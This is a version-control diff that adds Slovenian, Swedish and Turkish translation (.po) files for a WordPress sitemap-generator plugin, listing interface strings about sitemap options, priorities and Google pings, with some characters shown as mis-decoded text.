+#: sitemap.php:618
+msgid "Undo all page changes"
+msgstr "Razveljavi spremembe"
+
+# sitemap.php:621:
+#: sitemap.php:621
+msgid "Delete marked page"
+msgstr "IzbriÅ¡i izbrane strani"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "Osnovne nastavitve"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "DoloÄi prioriteto objav glede na Å¡tevilo komentarjev pod posameznimi objavami"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "ZapiÅ¡i komentarje za iskanje in odpravljanje napak"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Ime datoteke naÄrta strani"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "Shrani naÄrt strani kot standardno XML datoteko"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "Zaznan URL naslov"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Shrani kot stisnjeno (gzip) datoteko  (ime datoteke + .gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Samodejno obvesti Google o spremembah (ping)"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "Äe izberete to moÅŸnost, bodo morebitne spremembe v naÄrtu strani samodejno posredovane Googlu."
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Vsebina"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "VkljuÄi osnovno (prvo) stran"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "VkljuÄi objave"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "VkljuÄi statiÄne strani"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "VkljuÄi kategorije"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "VkljuÄi zgodovino (arhivi)"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "Spremeni frekvenco"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "Opomba"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Ta nastavitev je zgolj predlagana. Äeprav spletni iskalniki nastavljeno frekvenco upoÅ¡tevajo, se zna zgoditi, da bodo strani nastavljene na urno osveÅŸevanje pregledovali redkeje, kot strani nastavljene na letno osveÅŸevanje. Ravno tako se zna zgoditi, da bodo iskalniki pregledovali strani, katerim ste nastavili, da se ne osveÅŸujejo."
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "Osnovna stran"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "Objave"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "StatiÄne strani"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "Kategorije"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Aktualni arhiv tega meseca (enako kot za osnovno stran)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "StarejÅ¡i arhivi"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "Prioritete"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Å tevilo objav (v primeru, ko je samodejno seÅ¡tevanje onemogoÄeno)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "NajmanjÅ¡a prioriteta za objave (tudi, ko je izbrana moÅŸnost samodejnega izraÄunavanja prioritet)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "Arhivi"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "Informacije in podpora"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "Popravke in pomoÄ za vtiÄnik boste naÅ¡li na %s."
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "Shrani nastavitve"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Pot:"
+
+# msgid "URL:"
+# msgstr ""
+# msgid "Path:"
+# msgstr ""
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "Napaka pri shranjevanju datoteke &quot;%s&quot;."
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "NaÄrt strani je bil uspeÅ¡no zapisan:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "NaÄrt strani je bil uspeÅ¡no zapisan v stisnjeno (gzip) datoteko:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "Napaka pri obveÅ¡Äanju Googla o spremembah (%s)"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Google je uspeÅ¡no obveÅ¡Äen o spremembah (%s)"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sv_SE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sv_SE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sv_SE.po	(revision 44)
@@ -0,0 +1,322 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Google Sitemap Generator Swedish Translation 1.0\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-01-08 12:16+0100\n"
+"Last-Translator: Markus <m.eriksson@rocketmail.com>\n"
+"Language-Team: Tobias Bergius <tobias@tobiasbergius.se>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Swedish\n"
+"X-Poedit-Country: SWEDEN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "alltid"
+
+msgid "hourly"
+msgstr "varje timme"
+
+msgid "daily"
+msgstr "dagligen"
+
+msgid "weekly"
+msgstr "varje vecka"
+
+msgid "monthly"
+msgstr "m&aring;natligen"
+
+msgid "yearly"
+msgstr "&Aring;rligen"
+
+msgid "never"
+msgstr "aldrig"
+
+msgid "Detected Path"
+msgstr "Funnen s&ouml;kv&auml;g"
+
+msgid "Example"
+msgstr "Exempel"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absolut eller relativ s&ouml;kv&auml;g till sajtkartan, inklusive namn."
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Komplett URL till sajtkartan, inklusive namn."
+
+msgid "Automatic location"
+msgstr "Automatisk s&ouml;kv&auml;g"
+
+msgid "Manual location"
+msgstr "Manuell s&ouml;kv&auml;g"
+
+msgid "OR"
+msgstr "eller"
+
+msgid "Location of your sitemap file"
+msgstr "S&ouml;kv&auml;g till din sajtkarta"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Om din blogg &auml;r i en underkatalog och du vill l&auml;gga till sidor som inte &auml;r i blogg-katalogen, eller under, m&aring;ste du placera din sajtkarta i root-katalogen (se &quot;S&ouml;kv&auml;g till din sajtkarta&quot; p&aring; den h&auml;r sidan)!"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "Konfiguration uppdaterad"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "Fel"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "En ny sida tillagd. Klicka p&aring; &quot;Spara &auml;ndringar&quot; f&ouml;r att spara."
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "Sidor sparade"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "Fel vid sparande av sida"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Sidan borttagen. Klicka p&aring; &quot;Spara &auml;ndringar&quot; f&ouml;r att spara."
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "Dina &auml;ndringar har rensats."
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Sitemap Generator"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "Manuell &aring;terskapning"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "Om du vill skapa sajtkartan utan att redigera en artikel, klicka h&auml;r!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "&Aring;terskapa sajtkarta"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "Ytterligare sidor"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "H&auml;r kan du l&auml;gga till URL:er i sajtkartan, som inte tillh&ouml;r Wordpress.<br />Till exempel, om din dom&auml;n &auml;r www.foo.com och din blogg finns p&aring; www.foo.com/blogg, vill du nog l&auml;gga till din startsida p&aring; www.foo.com."
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "URL till sidan"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Ange URL till sidan. Exempel: http://www.foo.com/index.html eller www.foo.com/home"
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "Prioritet"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "V&auml;lj prioritet relativt till de andra sidorna. Till exempel, din startsida kanske b&ouml;r ha h&ouml;gre prioritet &auml;n dina undersidor."
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "Senast &auml;ndrad"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "&Auml;ndra datum f&ouml;r senaste &auml;ndringar enligt &Aring;&Aring;&Aring;&Aring;-MM-DD (2005-12-31 t.ex.) (valfritt)."
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "&Auml;ndra frekvens"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "Inga sidor tillagda."
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "L&auml;gg till sida"
+
+# sitemap.php:617:
+#: sitemap.php:617
+msgid "Save page changes"
+msgstr "Spara &auml;ndringar"
+
+# sitemap.php:618:
+#: sitemap.php:618
+msgid "Undo all page changes"
+msgstr "&Aring;ngra alla &auml;ndringar"
+
+# sitemap.php:621:
+#: sitemap.php:621
+msgid "Delete marked page"
+msgstr "Ta bort markerad sida"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "Generella &auml;ndringar"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "Aktivera automatisk prioritering f&ouml;r artiklar, baserat p&aring; antal kommentarer"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "Skriv debuggkommentarer"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Filnamn p&aring; sajtkartan"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "Skapa en vanlig XML-fil (ditt filnamn)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "Funnen URL"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Skapa en gzippad fil (filnamn + .gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Auto-pinga Google Sitemaps"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "Det h&auml;r g&ouml;r att Google automatiskt notifieras om uppdateringar"
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Inkluderingar"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "Inkludera startsida"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "Inkludera artiklar"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "Inkludera statiska sidor"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "Inkludera kategorier"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "Inkluder arkiv"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "&Auml;ndra frekvenser"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "Observera"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Den h&auml;r inst&auml;llningen ska ses som en ledtr&aring;d och inte ett kommando. &Auml;ven om s&ouml;kmotorerna l&auml;gger m&auml;rke till den h&auml;r informationen, s&aring; kan de indexera sidor markerade \"per timme\" mer s&auml;llan &auml;n det. Och dom kan indexera sidor markerade \"&aring;rligen\" oftare &auml;n s&aring;. Det &auml;r ocks&aring; vanligt att s&ouml;kmotorer regelbundet kontrollerar sidor markerade \"aldrig\", s&aring; att de kan hantera ov&auml;ntade h&auml;ndelser."
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "Startsida"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "Artiklar"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "Statiska sidor"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "Kategorier"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Aktuellt arkiv f&ouml;r denna m&aring;nad (borde vara samma som din startsida)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "&Auml;ldre arkiv (&auml;ndras bara om du &auml;ndrar en &auml;ldre artikel)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "Prioriteringar"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Artiklar (om autoprioritering &auml;r avaktiverat)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minsta artikeprioritet (&auml;ven om autoprioritering &auml;r aktiverat)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "Arkiv"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "Information och support"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "Kontrollera %s efter uppdateringar och kommentera om du har n&aring;gra problem, fr&aring;gor eller f&ouml;rslag."
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "Uppdatera inst&auml;llningar"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "S&ouml;kväg:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "Kan inte skriva till %s"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "Sajtkarta skapad:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "Gzippad sajtkarta skapad:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "Kan inte pinga Google p&aring; %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Google pingad p&aring; %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-tr_TR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-tr_TR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-tr_TR.po	(revision 44)
@@ -0,0 +1,913 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-07 01:15+0100\n"
+"PO-Revision-Date: 2009-06-08 17:31+0200\n"
+"Last-Translator: Baris Unver <baris.unver@beyn.org>\n"
+"Language-Team: Stefano Aglietti <steagl@wordpress-it.it>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Yorum SayÄ±mÄ±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ÃnceliÄi belirlemek iÃ§in yazÄ±ya yapÄ±lmÄ±Å yorum sayÄ±sÄ±nÄ± kullan"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Yorum OrtalamasÄ±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ÃnceliÄi hesaplamak iÃ§in yazÄ±larÄ±n ortalama yorum sayÄ±sÄ±nÄ± kullanÄ±r"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "<a href=\"%2\">Alex King</a> tarafÄ±ndan yaratÄ±lmÄ±Å <a href=\"%1\">Popularity Contest Eklentisi</a> ile uyumlu olarak Ã§alÄ±ÅÄ±r, Ã¶ncelikleri Popularity Contest'in raporlarÄ±na gÃ¶re hesaplar. Ayarlar iÃ§in <a href=\"%3\">buraya</a>, en popÃŒler yazÄ±lar iÃ§inse <a href=\"%4\">buraya</a> tÄ±klayÄ±n."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1187
+msgid "Always"
+msgstr "Her zaman"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1188
+msgid "Hourly"
+msgstr "Saatte bir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1189
+msgid "Daily"
+msgstr "GÃŒnde bir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1190
+msgid "Weekly"
+msgstr "Haftada bir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Monthly"
+msgstr "Ayda bir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Yearly"
+msgstr "YÄ±lda bir"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Never"
+msgstr "HiÃ§bir zaman"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "BaÄÄ±ÅÄ±nÄ±z iÃ§in Ã§ok teÅekkÃŒrler. Bu eklenti ÃŒzerinde Ã§alÄ±Åmam ve destek sunabilmem iÃ§in yardÄ±m saÄlamÄ±Å oldunuz!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "Bu bildiriyi sakla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr ""
+"Bu eklentiyi kullandÄ±ÄÄ±nÄ±z iÃ§in teÅekkÃŒrler! Bu eklentiyi bir aydan daha uzun sÃŒredir kullanÄ±yorsunuz. EÄer eklenti sizin iÅinize yaradÄ±ysa ve sevdiyseniz, sizce bu en azÄ±ndan bir dolar etmez mi? <a href=\"%s\">YapÄ±lan baÄÄ±Ålar</a>, bu <i>ÃŒcretsiz</i> eklentiyi geliÅtirmeye devam etmemi ve eklenti hakkÄ±nda destek sunmamÄ± saÄlÄ±yor!\n"
+"<a href=\"%s\">Tabii canÄ±m, ne demek!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Yok teÅekkÃŒrler, lÃŒtfen beni bir daha rahatsÄ±z etme!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "Site haritanÄ±z Åu anda yenileniyor. Blog'unuzun bÃŒyÃŒklÃŒÄÃŒne gÃ¶re bu iÅlem biraz zaman alabilir!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "Site haritanÄ±z %s saniye iÃ§inde yenilenecek. Blog'unuzun bÃŒyÃŒklÃŒÄÃŒne gÃ¶re bu iÅlem biraz zaman alabilir!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:453
+msgid "XML Sitemap Generator for WordPress"
+msgstr "Wordpress iÃ§in XML Site HaritasÄ± OluÅturucusu"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:298
+msgid "Configuration updated"
+msgstr "Ayarlar kaydedildi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:299
+msgid "Error while saving options"
+msgstr "SeÃ§enekler kaydedilirken hata oluÅtu"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:301
+msgid "Pages saved"
+msgstr "Sayfalar kaydedildi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:302
+msgid "Error while saving pages"
+msgstr "Sayfalar kaydedilirken hata oluÅtu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:309
+msgid "The default configuration was restored."
+msgstr "VarsayÄ±lan seÃ§enekler yÃŒklendi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:466
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "%1$s eklentisinin yeni bir sÃŒrÃŒmÃŒ var. <a href=\"%2$s\">%3$s sÃŒrÃŒmÃŒnÃŒ buradan indirin</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:468
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "%1$s eklentisinin yeni bir sÃŒrÃŒmÃŒ var. <a href=\"%2$s\">%3$s sÃŒrÃŒmÃŒnÃŒ buradan indirin</a>. <em>bu eklenti iÃ§in otomatik gÃŒncelleme mÃŒmkÃŒn deÄil</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:470
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "%1$s eklentisinin yeni bir sÃŒrÃŒmÃŒ var. <a href=\"%2$s\">%3$s sÃŒrÃŒmÃŒnÃŒ buradan indirin</a>. veya <a href=\"%4$s\">otomatik gÃŒncelleyin</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid "open"
+msgstr "aÃ§mak"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:494
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:511
+msgid "close"
+msgstr "kapamak"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:495
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:512
+msgid "click-down and drag to move this box"
+msgstr "kutuyu taÅÄ±mak iÃ§in tÄ±klayÄ±p sÃŒrÃŒkleyin"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:496
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:513
+msgid "click to %toggle% this box"
+msgstr "kutuyu %toggle% iÃ§in tÄ±klayÄ±n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:497
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:514
+msgid "use the arrow keys to move this box"
+msgstr "bu kutuyu taÅÄ±mak iÃ§in yÃ¶n tuÅlarÄ±nÄ± kullanÄ±n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:515
+msgid ", or press the enter key to %toggle% it"
+msgstr "%toggle% iÃ§in , veya enter tuÅuna basÄ±n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "About this Plugin:"
+msgstr "Bu Eklenti HakkÄ±nda:"
+
